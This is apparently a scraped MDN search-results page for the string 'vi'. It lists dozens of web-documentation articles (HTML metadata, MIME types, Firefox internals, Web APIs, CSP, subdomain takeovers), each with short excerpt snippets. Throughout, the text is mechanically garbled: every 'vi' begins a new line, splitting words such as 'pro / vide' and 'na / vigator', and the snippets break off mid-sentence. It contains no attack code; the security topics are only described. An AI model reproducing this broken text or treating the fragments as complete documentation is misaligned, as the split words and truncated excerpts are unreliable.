video data files a filelist listing the chosen files multiple a boolean which, if present, indicates that the user may choose more than one file accept the accept attribute value is a string that defines the file types the file input should accept.
...because a given file type may be identified in more than one manner, it's useful to pro
vide a thorough set of type specifiers when you need files of a given format.
...And 21 more matches
Standard metadata names - HTML: Hypertext Markup Language
the <meta> element can be used to pro
vide document metadata in terms of name-value pairs, with the name attribute gi
ving the metadata name, and the content attribute gi
ving the value.
...this is the default beha
viour.
... notes: dynamically inserting <meta name="referrer"> (with document.write() or appendchild()) makes the referrer beha
viour unpredictable.
...And 21 more matches
MIME types (IANA media types) - HTTP
no whitespace is allowed in a mime type: type/subtype the type represents the general category into which the data type falls, such as
video or text.
... an optional parameter can be added to pro
vide additional details: type/subtype;parameter=value for example, for any mime type whose main type is text, the optional charset parameter can be used to specify the character set used for the characters in the data.
...discrete types are types which represent a single file or medium, such as a single text or music file, or a single
video.
...And 21 more matches
Digital audio concepts - Web media technologies
this guide is an over
view examining how audio is represented digitally, and how codecs are used to encode and decode audio for use on the web.
...as an object
vibrates, it causes the molecules surrounding it to
vibrate as well.
... these molecules affect the ones adjacent to them, and so forth, propagating the
vibration in the form of a wave outward from the source until the amplitude of the wave (its volume) fades away with distance.
...And 21 more matches
How to make PWAs re-engageable using Notifications and Push - Progressive web apps (PWAs)
pre
vious over
view: progressive next ha
ving the ability to cache the contents of an app to work offline is a great feature.
... two apis, one goal the push api and notifications api are two separate apis, but they work well together when you want to pro
vide engaging functionality in your app.
... push is used to deliver new content from the server to the app without any client-side intervention, and its operation is handled by the app's ser
vice worker.
...And 21 more matches
Preferences - Archive of obsolete content
this article pro
vides examples for extension developers that wish to use the mozilla preferences system.
... two used interfaces are nsiprefser
vice and nsiprefbranch.
... the preferences ser
vice is instantiated in the same way you instantiate any xpcom ser
vice.
...And 20 more matches
Tabbed browser - Archive of obsolete content
from a sidebar basically, if your extension code is a sidebar you can use: var mainwindow = window.queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsiwebna
vigation) .queryinterface(components.interfaces.nsidocshelltreeitem) .roottreeitem .queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsidomwindow); mainwindow.gbrowser.addtab(...); from a dialog if your code is running in a dialog opened directly by a browser...
... window, you can use: window.opener.gbrowser.addtab(...); if window.opener doesn't work, you can get the most recent browser window using this code: var wm = components.classes["@mozilla.org/appshell/window-mediator;1"] .getser
vice(components.interfaces.nsiwindowmediator); var mainwindow = wm.getmostrecentwindow("na
vigator:browser"); mainwindow.gbrowser.addtab(...); opening a url in a new tab // add tab gbrowser.addtab("http://www.google.com/"); // add tab, then make active gbrowser.selectedtab = gbrowser.addtab("http://www.google.com/"); manipulating content of a new tab if you want to work on the content of the newly opened tab, you'll need to wait until the content has finished loading.
... openuilinkin( url, where, allowthirdpartyfixup, postdata, referrerurl ) where: "current" current tab (if there aren't any browser windows, then in a new window instead) "tab" new tab (if there aren't any browser windows, then in a new window instead) "tabshifted" same as "tab" but in background if default is to select new tabs, and
vice versa "window" new window "save" save to disk (with no filename hint!) openuilink( url, e, ignorebutton, ignorealt, allowkeywordfixup, postdata, referrerurl ) the following code will open a url in a new tab, an existing tab, or an existing window based on which mouse button was pressed and which hotkeys (ex: ctrl) are being held.
...And 20 more matches
Index of archived content - Archive of obsolete content
.htaccess ( hypertext access ) 2015 mdn fellowship program api na
vigator na
vigator.moznotification add-ons add-on sdk builder guides content scripts communicating with other scripts communicating using "port" communicating using "postmessage" cross-domain content scripts interacting with page scripts loading content scripts reddit example port self ...
... event/target frame/hidden-frame frame/utils fs/path io/byte-streams io/file io/text-streams lang/functional lang/type loader/cuddlefish loader/sandbox net/url net/xhr places/bookmarks places/fa
vicon places/history platform/xpcom preferences/event-target preferences/ser
vice remote/child remote/parent stylesheet/style stylesheet/utils system/child_process system/en
vironment system/events system/runtime system/un...
...e.json tutorials add a context menu item add a menu item to firefox adding a button to the toolbar annotator creating annotations displaying annotations implementing the widget over
view storing annotations chrome authority creating event targets creating reusable modules developing for firefox mobile display a popup getting started (jpm) getting started (cfx) list open tabs listen for page load ...
...And 20 more matches
Supporting older browsers - Learn web development
pre
vious over
view: css layout next in this module, we recommend using flexbox and grid as the main layout methods for your designs.
... however, there will be
visitors to your site who use older browsers, or browsers which do not support the methods you have used.
... prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css and styling boxes.) objective: to understand how to pro
vide support for your layouts on older browsers that might not support the features you want to use.
...And 20 more matches
Creating hyperlinks - Learn web development
pre
vious over
view: introduction to html next hyperlinks are really important — they are what makes the web a web.
... note: a url can point to html files, text files, images, text documents,
video and audio files, or anything else that lives on the web.
... if the web browser doesn't know how to display or handle the file, it will ask you if you want to open the file (in which case the duty of opening or handling the file is passed to a suitable native app on the de
vice) or download the file (in which case you can try to deal with it later on).
...And 20 more matches
Images in HTML - Learn web development
over
view: multimedia and embedding next in the beginning, the web was just text, and it was really quite boring.
... copyright
violations are illegal and unethical.
...it also slows down your page, lea
ving you with no control over whether the image is removed or replaced with something embarrassing.
...And 20 more matches
Fetching data from the server - Learn web development
pre
vious over
view: client-side web apis next another very common task in modern websites and applications is retrie
ving indi
vidual data items from the server to update sections of a webpage without ha
ving to load an entire new page.
... this seemingly small detail has had a huge impact on the performance and beha
vior of sites, so in this article, we'll explain the concept and look at technologies that make it possible, such as xmlhttprequest and the fetch api.
... the ajax model involves using a web api as a proxy to more intelligently request data rather than just ha
ving the browser reload the entire page.
...And 20 more matches
IME handling guide
introduction ime is an abbre
viation of input method editor.
...however, especially on mobile de
vices nowadays, ime is also used for inputting latin languages like autocomplete.
... modules handling ime composition widget each widget handles native ime events and dispatches widgetcompositionevent with mozilla::widget::texteventdispatcher to represent the beha
vior of ime in the focused editor.
...And 20 more matches
Extending a Protocol
to make this tutorial less abstract (more fun!), we are going to implement a js method called echo() on the na
vigator interface.
... the webidl for this will be: partial interface na
vigator { promise<domstring> echo(domstring somestring); }; learning goals are: extending an existing ipdl protocol.
...
visually, it's going to look something like this (except for the operating system bit, which we are not actually going to do - just to illustrate what we could do): let's start by implementing the webidl above.
...And 20 more matches
Mozilla Development Strategies
make sure documentation gets updated if the bug you're fixing is likely to require an update to developer documentation once it's fixed, be sure to add the dev-doc-needed keyword to the bug (or ask someone to do it, if you don't have editbugs pri
vileges on bugzilla).
...they're gi
ving you a second chance to get it right before it becomes a bug that affects users.
...but those might be difficult bugs (hard to reproduce crashers, big rewrites for performance, etc.) which can take several days or weeks to complete, plus the time for re
views.
...And 20 more matches
Handling Mozilla Security Bugs
introduction in order to improve the mozilla project's approach to resol
ving mozilla security vulnerabilities, mozilla.org is creating more formal arrangements for handling mozilla security-related bugs.
...this work is separate from the work of developers adding new security features (cryptographically-based or otherwise) to mozilla, although ob
viously many of the same people will be involved in both sets of acti
vities.
...we understand and acknowledge the concerns of those who believe that too-hasty disclosure of exploit details can pro
vide a short-term advantage to potential attackers, who can exploit a problem before most end users become aware of its existence.
...And 20 more matches
Gecko Roles
role_tooltip represents a tooltip that pro
vides helpful hints; this is generally displayed at the mouse cursor position.
...users can na
vigate between panes and within the contents of the current pane, but cannot na
vigate between items in different panes.
... thus, panes represent a level of grouping lower than frame windows or documents, but above indi
vidual controls.
...And 20 more matches
Mozilla internal string guide
this guide documents the string classes which are
visible to code within the mozilla codebase (code which is linked into libxul).
...nsliteral[c]string is tri
vially constructible and destructible, and therefore does not emit construction/destruction code when stored in statics, as opposed to the other string classes.
...it pro
vides an api for assignment, indi
vidual character access, basic manipulation of characters in the string, and string comparison.
...And 20 more matches
nsIBrowserHistory
it adds functions used by the basic browser like, marking pages as typed in the url bar, and remo
ving pages as from the history interface.
... inherits from: nsiglobalhistory2 last changed in gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) implemented by: @mozilla.org/browser/nav-history-ser
vice;1.
... to use this ser
vice, use: var browserhistory = components.classes["@mozilla.org/browser/nav-history-ser
vice;1"] .getser
vice(components.interfaces.nsibrowserhistory); method over
view void addpagewithdetails(in nsiuri auri, in wstring atitle, in long long alast
visited); obsolete since gecko 15.0 void markpageasfollowedlink(in nsiuri auri); obsolete since gecko 22.0 void markpageastyped(in nsiuri auri); obsolete since gecko 22.0 void registeropenpage(in nsiuri auri); obsolete since gecko 9.0 void removeallpages(); void removepage(in nsiuri auri); void removepages([array, size_is(alength)] in nsiuri auris, in unsigned long alength, in boolean adobatchnotify); void removepagesbytimeframe(in long l...
...And 20 more matches
Web Console remoting - Firefox Developer Tools
these can be: page errors, window.console api messages, network acti
vity, and file acti
vity.
... for example: ["pageerror", "consoleapi", "networkacti
vity", "fileacti
vity"] the web console actor does not start any listeners by default.
...this approach allows for lower resource usage on the server - this is a potential issue if the server runs on de
vices with fewer resources.
...And 20 more matches
BasicCardResponse - Web APIs
var supportedinstruments = [{ supportedmethods: 'basic-card', data: { supportednetworks: ['
visa', 'mastercard', 'amex', 'jcb', 'diners', 'discover', 'mir', 'unionpay'], supportedtypes: ['credit', 'debit'] } }]; var details = { total: {label: 'donation', amount: {currency: 'usd', value: '65.00'}}, displayitems: [ { label: 'original donation amount', amount: {currency: 'usd', value: '65.00'} } ], shippingoptions: [ { id: '...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbasiccardresponsechrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only...
...to change preferences in firefox,
visit about:config.ie no support noopera no support nosafari ?
...And 20 more matches
Taking still photos with WebRTC - Web APIs
the first panel on the left contains two components: a <
video> element, which will receive the stream from webrtc, and a <button> the user clicks to capture a
video frame.
... <div class="camera"> <
video id="
video">
video stream not available.</
video> <button id="startbutton">take photo</button> </div> this is straightforward, and we'll see how it ties together when we get into the javascript code.
... (function() { var width = 320; // we will scale the photo width to this var height = 0; // this will be computed based on the input stream var streaming = false; var
video = null; var canvas = null; var photo = null; var startbutton = null; those variables are: width whatever size the incoming
video is, we're going to scale the resulting image to be 320 pixels wide.
...And 20 more matches
Web Authentication API - Web APIs
similar to the other forms of the credential management api, the web authentication api has two basic methods that correspond to register and login: na
vigator.credentials.create() - when used with the publickey option, creates new credentials, either for registering a new account or for associating a new asymmetric key pair credentials with an existing account.
... na
vigator.credentials.get() - when used with the publickey option, uses an existing set of credentials to authenticate to a ser
vice, either logging a user in or as a form of second-factor authentication.
... in order to understand how the create() and get() methods fit into the bigger picture, it is important to understand that they sit between two components that are outside the browser: server - the web authentication api is intended to register new credentials on a server (also referred to as a ser
vice or a relying party) and later use those same credentials on that same server to authenticate a user.
...And 20 more matches
mix-blend-mode - CSS: Cascading Style Sheets
uration | color | luminosity examples effect of different mix-blend-mode values <div class="grid"> <div class="col"> <div class="note">blending in isolation (no blending with the background)</div> <div class="row isolate"> <div class="cell"> normal <div class="container normal"> <div class="group"> <div class="item firefox"></div> <svg
viewbox="0 0 150 150"> <defs> <lineargradient id="red"> <stop offset="0" stop-color="hsl(0,100%,50%)" /> <stop offset="100%" stop-color="hsl(0,0%,100%)" /> </lineargradient> <lineargradient id="green"> <stop offset="0" stop-color="hsl(120,100%,50%)" /> <stop off...
...lipse> <ellipse class="item g" cx="75" cy="75" rx="25" ry="70"></ellipse> <ellipse class="item b" cx="75" cy="75" rx="25" ry="70"></ellipse> </svg> </div> </div> </div> <div class="cell"> multiply <div class="container multiply"> <div class="group"> <div class="item firefox"></div> <svg
viewbox="0 0 150 150"> <ellipse class="item r" cx="75" cy="75" rx="25" ry="70"></ellipse> <ellipse class="item g" cx="75" cy="75" rx="25" ry="70"></ellipse> <ellipse class="item b" cx="75" cy="75" rx="25" ry="70"></ellipse> </svg> </div> </div> </div> <div class="cell"> darken <div class="container darken"> ...
... <div class="group"> <div class="item firefox"></div> <svg
viewbox="0 0 150 150"> <ellipse class="item r" cx="75" cy="75" rx="25" ry="70"></ellipse> <ellipse class="item g" cx="75" cy="75" rx="25" ry="70"></ellipse> <ellipse class="item b" cx="75" cy="75" rx="25" ry="70"></ellipse> </svg> </div> </div> </div> <div class="cell"> screen <div class="container screen"> <div class="group"> <div class="item firefox"></div> <svg
viewbox="0 0 150 150"> <ellipse class="item r" cx="75" cy="75" rx="25" ry="70"></ellipse> <ellipse class="item g" cx="75" cy="75" rx="25" ry="70"></ellipse> <ellipse class="ite...
...And 20 more matches
Enhanced Extension Installation - Archive of obsolete content
there are not enough guards in the upgrade and uninstall process to handle failure and abort the operation, restoring the pre
vious state.
... items that are installed must be
visible in the extension manager user interface, even if the extension type is just an integration hook that has no meaningful ui presence.
... if the item is not compatible, the extension system asks the appropriate update ser
vice (either the one specified by the item, or the default one) if there is remote compatibility information that supercedes the compatibility information held by the item.
...And 19 more matches
Creating a Help Content Pack - Archive of obsolete content
the pre
vious document had a lot of places where ideas were simply introduced without explanation, and i've tried to go through things a bit more slowly with better descriptions.
... this document describes how to integrate html help documentation into your application using the mozilla help
viewer.
... documentation contained in the help
viewer can be accessed using any xul application or program that embeds mozilla.
...And 19 more matches
The Implementation of the Application Object Model - Archive of obsolete content
this section makes a technical argument both for ha
ving xul in the first place and for using rdf as the underlying implementation of xul's content model.
...rdf pro
vides a very general mechanism for representing relationships between different disparate types of data.
...for example, the traditional bookmarks tree
view could contain anything from mail messages to local files to maps of other sites.
...And 19 more matches
Mozilla release FAQ - Archive of obsolete content
the project is maintained by employees of netscape (now a di
vision of aol), red hat, some other companies, as well as contributors from the community.
...the code has been continually available since then
via cvs (see section 1.8), and occasional binary releases (first as milestones, and more recently as versioned releases) have been made.
...mozilla is continually available
via cvs, and also is occasionally released as versioned numbers.
...And 19 more matches
Accessible Toolkit Checklist
the work when implementing a new toolkit it's important to: implement standard keyboard beha
vior, which can vary from platform to platform.
... pro
vide theme compatibility with the operating system, at least as an option.
... some low
vision users will be running your software with high contrast or large font themes.
...And 19 more matches
What to do and what not to do in Bugzilla
this document covers the use of bugzilla pri
vileges to triage bugs.
... getting/upgrading bugzilla pri
vileges if you want to get bugzilla pri
vileges (as described below), please see this page.
... include a link to your bugzilla acti
vity page in the bug description.
...And 19 more matches
PKCS11 FAQ
nss can use the cka_label attribute to identify user certificates (see pre
vious question) and presents this label to the user.
... can mozilla pro
vide a list of all pkcs #11 functions that nss will use?
... will nss get the user's ca certificate
via pkcs #11 and push it into the ca certificate database or is the ca certificate database expected to obtain the ca certificate by some other means?
...And 19 more matches
nsIHttpChannel
inherits from: nsichannel last changed in gecko 1.3 to create an http channel, use nsiioser
vice with a http uri, for example: var ios = components.classes["@mozilla.org/network/io-ser
vice;1"] .getser
vice(components.interfaces.nsiioser
vice); var ch = ios.newchannel("https://www.example.com/", null, null); method over
view void getoriginalresponseheader(in acstring aheader, in nsihttpheader
visitor a
visitor); acstring getrequestheader(in acstring aheader); acstring getresponseheader(in acstring header); b...
...onse(); void redirectto(in nsiuri anewuri); void setemptyrequestheader(in acstring aheader); void setreferrerwithpolicy(in nsiuri referrer, in unsigned long referrerpolicy); void setrequestheader(in acstring aheader, in acstring avalue, in boolean amerge); void setresponseheader(in acstring header, in acstring value, in boolean merge); void
visitoriginalresponseheaders(in nsihttpheader
visitor a
visitor); void
visitrequestheaders(in nsihttpheader
visitor a
visitor); void
visitresponseheaders(in nsihttpheader
visitor a
visitor); constants constant description referrer_policy_no_referrer_when_downgrade default; indicates not to pass on the referrer when downgrading from https to http ...
... ns_error_failure if used for setting referrer during
visitrequestheaders().
...And 19 more matches
Address Book examples
note: thunderbird and seamonkey user interfaces now reference 'contacts' not 'cards' however, as the backend still uses the 'cards' terminology, that is what is used here this article pro
vides examples on accessing and manipulating thunderbird address books.
... address book interfaces pro
vides an over
view of the related interfaces.
... see an over
view of thunderbird components for a general description of the thunderbird user interface and related programmatic interfaces.
...And 19 more matches
Debugger.Object - Firefox Developer Tools
debugger.object a debugger.object instance represents an object in the debuggee, pro
viding reflection-oriented methods to inspect and modify its referent.
... javascript code in different compartments can have different
views of the same object.
... for example, in firefox, code in pri
vileged compartments sees content dom element objects without redefinitions or extensions made to that object’s properties by content code.
...And 19 more matches
IDBIndex - Web APIs
idbindex interface of the indexeddb api pro
vides asynchronous access to an index in a database.
...for a complete working example, see our idbindex-example demo repo (
view the example live.) function displaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var tablerow = document.create...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidbindexchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox...
...And 19 more matches
Screen Wake Lock API - Web APIs
the screen wake lock api pro
vides a way to prevent de
vices from dimming or locking the screen when an application needs to keep running.
... concepts and usage most de
vices by default turn off their screen after a specified amount of time to prolong the life of the hardware.
... modern de
vices do this to save on battery power.
...And 19 more matches
Sensor APIs - Web APIs
the sensor apis are a set of interfaces built to a common design that expose de
vice sensors in a consistent way to the web platform.
...for example, the accelerometer interface returns the acceleration of the de
vice along all three axes at the time it is read.
... sensors may or may not correspond exactly to a physical de
vice sensor.
...And 19 more matches
XRReferenceSpace - Web APIs
the webxr de
vice api's xrreferencespace interface describes the coordinate system for a specific tracked entity or object within the
virtual world using a specified tracking beha
vior.
... the tracking beha
vior is defined by the selected reference space type.
... it expands upon the base class, xrspace, by adding support for several different tracking beha
viors as well as to request a new reference space which describes the offset transform between the tracked object and another location in the world.
...And 19 more matches
Text labels and names - Accessibility
examples the following example show a simple image map (taken from h24: pro
viding text alternatives for the area elements of image maps): <img src="welcome.gif" usemap="#map1" alt="areas in the library.
... select an area for more information on that area." /> <map id="map1" name="map1"> <area shape="rect" coords="0,0,30,30" href="reference.html" alt="reference" /> <area shape="rect" coords="34,34,100,100" href="media.html" alt="audio
visual lab" /> </map> see the <area> element reference page for a live interactive example.
... see also <area> h24: pro
viding text alternatives for the area elements of image maps dialogs should be labeled for any container whose contents act as a dialog box (for example, a modal dialog asking the user to make a choice or respond to an action being taken), give it a descriptive label or name, so that assistive technology users can easily discover what its purpose is.
...And 19 more matches
@media - CSS: Cascading Style Sheets
with it, you specify a media query and a block of css to apply to the document if and only if the media query matches the de
vice on which the content is being used.
... description media types media types describe the general category of a de
vice.
... all suitable for all de
vices.
...And 19 more matches
Content Security Policy (CSP) - HTTP
browsers that don't support it still work with servers that implement it, and
vice-versa: browsers that don't support csp simply ignore it, functioning as usual, defaulting to the standard same-origin policy for web content.
...malicious scripts are executed by the
victim's browser because the browser trusts the source of the content, even when it's not coming from where it seems to be coming from.
...a complete data transmission security strategy includes not only enforcing https for data transfer, but also marking all cookies with the secure attribute and pro
viding automatic redirects from http pages to their https counterparts.
...And 19 more matches
Strict mode - JavaScript
browsers not supporting strict mode will run strict mode code with different beha
vior from browsers that do, so don't rely on strict mode without feature-testing for support for the relevant aspects of strict mode.
... invoking strict mode strict mode applies to entire scripts or to indi
vidual functions.
...ob
viously, concatenation of scripts is never ideal, but if you must, consider enabling strict on a function-by-function basis.
...And 19 more matches
Web Performance
we cover them in this section: key performance guides animation performance and frame rateanimation on the web can be done
via svg, javascript, including <canvas> and webgl, css animation, <
video>, animated gifs and even animated pngs and other image types.
... na
vigation and resource timingsna
vigation timings are metrics measuring a browser's document na
vigation events.
...in the context of open web apps, this document explains in general what performance is, how the browser platform helps improve it, and what tools and processes you can use to test and improve it.performance monitoring: rum vs synthetic monitoringsynthetic monitoring and real user monitoring (rum) are two approaches for monitoring and pro
viding insight into web performance.
...And 19 more matches
CSS3 - Archive of obsolete content
experimental parts are vendor-prefixed and should either be avoided in production en
vironments, or used with extreme caution as both their syntax and semantics can change in the future.
...in order to accelerate the standardization of non-problematic features, the css working group of the w3c, in a decision referred as the beijing doctrine, di
vided css in smaller components called modules .
... it deprecates the system-color keywords that shouldn't be used in a production en
vironment anymore.
...And 18 more matches
A XUL Bestiary - Archive of obsolete content
this xulnote presents some of the key concepts and terms in the xul development en
vironment.
...in other words, a chrome url like the global pointer above picks up a file called global.css, and the help pointer above could also be written as chrome://help/content, because the name of the package itself is "help."
viewing chromes other than mozilla's there is a special flag you can use to start mozilla with some chrome other than the default.
... when you invoke mozilla from the command line with the -chrome flag, you can specify a chrome just as you would in the pre
vious example: mozilla -chrome chrome://help/content/help.xul brings up the help package mentioned in the pre
vious example as a "stand-alone" chrome.
...And 18 more matches
Building up a basic demo with Babylon.js - Game development
as with any other 3d library it pro
vides built-in functions to help you implement common 3d functionality more quickly.
... in this article we'll take you through the real basics of using babylon.js, including setting up a development en
vironment, structuring the necessary html, and writing the javascript code.
... en
vironment setup to start developing with babylon.js, you don't need much.
...And 18 more matches
Practical positioning examples - Learn web development
this includes information-heavy apps like strategy/war games, mobile versions of websites where the screen is narrow and space is limited, and compact information boxes where you might want to make lots of information available without ha
ving it fill the whole ui.
... you might be thinking "why not just create the separate tabs as separate webpages, and just have the tabs clicking through to the separate pages to create the effect?" this code would be simpler, yes, but then each separate "page"
view would actually be a newly-loaded webpage, which would make it harder to save information across
views, and integrate this feature into a larger ui design.
... in addition, so-called "single page apps" are becoming very popular — especially for mobile web uis — because ha
ving everything served as a single file cuts down on the number of http requests required to
view all the content, thereby impro
ving performance.
...And 18 more matches
Perceived performance - Learn web development
pre
vious over
view: performance next perceived performance is how fast a website seems to the user.
... this article pro
vides a brief introduction to perceived performance, looking at user perceptions, and what objective tools can be used to measure that which is subjective.
...such an approach is much better than just showing nothing, which will make it feel like it is taking a lot longer and possibly lead to your users thinking it is broken and gi
ving up.
...And 18 more matches
The "why" of web performance - Learn web development
over
view: performance next web performance is all about making websites fast, including making slow processes seem fast.
... this article pro
vides an introduction into why web performance is important to site
visitors and for your business goals.
...while an indi
vidual's perception of site performance performance is subjective, loading and rendering can be measured.
...And 18 more matches
Embedding Tips
what is a ser
vice?
... a ser
vice is a singleton object implementing one or more xpcom interfaces and registered with gecko during startup.
... normally it pro
vide some functionality that is required from lots of places such as looking up preference settings, creating new windows, locating files, displaying prompt or password dialog boxes and so on.
...And 18 more matches
Memory reporting
and please ask nnethercote to co-re
view any memory reporter patch.
...this is most ob
viously used in about:memory and telemetry.
... making measurements nsimemoryreporter pro
vides the high-level interface for a memory reporter, but the heart of a memory reporter is the measurement of the "amount".
...And 18 more matches
GCIntegration - SpiderMonkey Redirect 1
at a high level, there are three issues to be aware of: interactions between the garbage collector and the cycle collector incremental garbage collection mo
ving garbage collection the apis for gc/cc interaction and incremental gc are already in place.
... development of mo
ving gc (both generational and compacting) is under way, but only in the javascript shell so far.
... we're still thinking about how the apis for mo
ving gc should work.
...And 18 more matches
XPCOM array guide
this array is read-only, and the interface does not pro
vide any methods that will allow adding and remo
ving members.
... nstarray<t> - a c++ class which pro
vides a typesafe container for objects or primitive types (pointers, integers, and so on).
...to use indexof without pro
viding a comparator, they must also define an operator==.
...And 18 more matches
nsIMessenger
the nsimessenger interface pro
vides functions for managing the history, undo and redo operations, and for loading, sa
ving, or deleting messages and attachments in mailnews.
...to create an instance, use: messenger = components.classes["@mozilla.org/messenger;1"] .createinstance(components.interfaces.nsimessenger); in thunderbird, a global nsimessenger object is defined as messenger
via the createmessenger function in mailwindow.js.
... method over
view void setdisplaycharset(in acstring acharset); void setwindow(in nsidomwindow ptr, in nsimsgwindow msgwindow); void openurl(in acstring aurl); void loadurl(in nsidomwindow ptr, in acstring aurl); void launchexternalurl(in acstring aurl); boolean canundo(); boolean canredo(); unsigned long getundotransactiontype(); unsigned long getredotransactiontype(); void undo(in nsimsgwindow msgwindow); void redo(in nsimsgwindow msgwindow); void sendunsentmessages(in nsimsgidentity aidentity, in nsimsgwindow amsgwindow); void setdocumentcharset(in acstring characterset); void saveas(in acstring auri, in boolean aasfile, in nsimsgidentity aidentity, in astring ams...
...And 18 more matches
nsINavBookmarkObserver
toolkit/components/places/nsinavbookmarksser
vice.idlscriptable this interface is an observer for bookmark changes.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 21.0 (firefox 21.0 / thunderbird 21.0 / seamonkey 2.18) method over
view void onbeforeitemremoved(in long long aitemid, in unsigned short aitemtype, in long long aparentid, in acstring aguid, in acstring aparentguid); obsolete since gecko 21.0 void onbeginupdatebatch(); void onendupdatebatch(); void onfolderadded(in print64 folder, in print64 parent, in print32 index); obsolete since gecko 1.9 void onfolderchanged(in print64 folder, in acstring property); obsolete since gecko 1.9 void onfoldermoved(in print64 folder, in print64 oldparent, in print32 oldindex, in print64 newparent, in print32 newindex); obsolete since gecko 1.9 ...
...rt aitemtype, in acstring aguid, in acstring aoldparentguid, in acstring anewparentguid); void onitemremoved(in long long aitemid, in long long aparentid, in long aindex, in unsigned short aitemtype, in nsiuri auri, in acstring aguid, in acstring aparentguid); void onitemreplaced(in print64 folder, in nsiuri item, in nsiuri newitem); obsolete since gecko 1.9 void onitem
visited(in long long aitemid, in long long a
visitid, in prtime atime, in unsigned long atransitiontype, in nsiuri auri, in long long aparentid, in acstring aguid, in acstring aparentguid); void onseparatoradded(in print64 parent, in print32 index); obsolete since gecko 1.9 void onseparatorremoved(in print64 parent, in print32 index); obsolete since gecko 1.9 methods ...
...And 18 more matches
nsIPrintingPrompt
inherits from: nsisupports last changed in gecko 1.7 this interface is identical to nsipintingpromptser
vice but without the parent nsidomwindow parameter.
... see nsiprintingpromptser
vice for all documentation.
... this ser
vice enables embedders to implement their own print and progress dialogs.
...And 18 more matches
Add to iPhoto
we'll be using a number of these methods, but for bre
vity's sake, since these are generally simple declarations, let's look at only the cfrelease() and cfretain() declarations.
...we use a few of these routines because the launch ser
vices routine we'll be using to launch iphoto and pass it the image to import uses cfurl for the file references.
... cfarray the cfarray type is used to create arrays of objects; the objects in the array can be of any type, thanks to a set of callbacks you can pro
vide to handle managing their memory and performing operations such as comparisons.
...And 18 more matches
Debugger - Firefox Developer Tools
allowunobservedasmjs a boolean value indicating whether asm.js code running inside this debugger instance’s debuggee globals is in
visible to debugger api handlers and breakpoints.
... setting this to true enables code coverage instrumentation, which can be accessed
via the debugger.script getoffsetscoverage function.
... when one of the events described below occurs in debuggee code, the engine pauses the debuggee and calls the corresponding debugging handler on each debugger instance that is obser
ving the debuggee.
...And 18 more matches
Responsive Design Mode - Firefox Developer Tools
responsive design is the practice of designing a website so it looks and works properly on a range of different de
vices — particularly mobile phones and tablets as well as desktops and laptops.
... the most ob
vious factor here is screen size, but there are other factors as well, including the pixel density of the display and whether it supports touch.
... responsive design mode gives you a simple way to simulate these factors, to test how your website will look and behave on different de
vices.
...And 18 more matches
MediaTrackSupportedConstraints - Web APIs
an object conforming to mediatracksupportedconstraints is returned by mediade
vices.getsupportedconstraints().
... autogaincontrol a boolean whose value is true if the autogaincontrol constraint is supported in the current en
vironment.
... width a boolean value whose value is true if the width constraint is supported in the current en
vironment.
...And 18 more matches
Details of the object model - JavaScript
« pre
viousnext » javascript is an object-based language based on prototypes, rather than being class-based.
...for example,
victoria could be an instance of the employee class, representing a particular indi
vidual as an employee.
... adding and remo
ving properties in class-based languages, you typically create a class at compile time and then you instantiate instances of the class either at compile time or at run time.
...And 18 more matches
JavaScript typed arrays - JavaScript
javascript typed arrays are array-like objects that pro
vide a mechanism for reading and writing raw binary data in memory buffers.
... however, as web applications become more and more powerful, adding features such as audio and
video manipulation, access to raw data using websockets, and so forth, it has become clear that there are times when it would be helpful for javascript code to be able to quickly and easily manipulate raw binary data.
... buffers and
views: typed array architecture to achieve maximum flexibility and efficiency, javascript typed arrays split the implementation into buffers and
views.
...And 18 more matches
Subdomain takeovers - Web security
typically, this happens when the subdomain has a canonical name (cname) in the domain name system (dns), but no host is pro
viding content for it.
... this can happen because either a
virtual host hasn’t been published yet or a
virtual host has been removed.
... an attacker can take over that subdomain by pro
viding their own
virtual host and then hosting their own content for it.
...And 18 more matches
Bookmarks - Archive of obsolete content
firefox 2 and earlier creating a new bookmark var win = mybrowser.contentwindow; // get the bookmarks ser
vice const bmsvc = components.classes["@mozilla.org/browser/bookmarks-ser
vice;1"] .getser
vice(components.interfaces.nsibookmarksser
vice); // create the bookmark bmsvc.createbookmarkincontainer(win.document.title, // bookmark name win.location.href.tostring(), // uri of the bookmark null, // shortcut win.document.title, // description win.document.characterset, // charset null, // postdata bookmarksser
vice.getbookmarkstoolbarfolder(), // bookmark folder ...
... 0); // index in the folder firefox 3 firefox 3 pro
vides a reworked set of api for working with history and bookmarks.
... the places bookmarks ser
vice, pro
vided by the nsinavbookmarksser
vice interface, pro
vides methods for creating, deleting, and manipulating bookmarks and bookmark folders.
...And 17 more matches
Appendix: What you should know about open-source software licenses - Archive of obsolete content
range of uses restricted to author unrestricted book print, publish, re
vise read music record, perform, re
vise listen mo
vie distribute, screen, re
vise watch software copy, distribute, modify execute licenses are a use permit in order to use (in the authorial sense) a copyrighted work, the user must either receive a use permit from the copyright holder, or must be assigned partial rights by the author.
... these conditions will vary from one license to the next, but the open source definition stipulates the following minimum conditions: the integrity of the author’s source code must be preserved; no discrimination may be made against indi
viduals or organizations; no discrimination may be made based on field of endeavor; no additional licensing can be required when redistributing; license must not be specific to a product; license must not interfere with other software.
... the “no discrimination may be made against indi
viduals or organizations” rule means that you cannot prohibit it from any particular country.
...And 17 more matches
Intercepting Page Loads - Archive of obsolete content
« pre
viousnext » there are several ways to detect and intercept loading of web pages and their content, be it only to realize when it happens, modify their contents, or to block them and do something else instead.
...attaching the load event handler to gbrowser allows us to listen to these events for all tabs, without ha
ving to worry how many tabs are open.
... if (doc.default
view.frameelement) { // frame within a tab was loaded.
...And 17 more matches
Observer Notifications - Archive of obsolete content
« pre
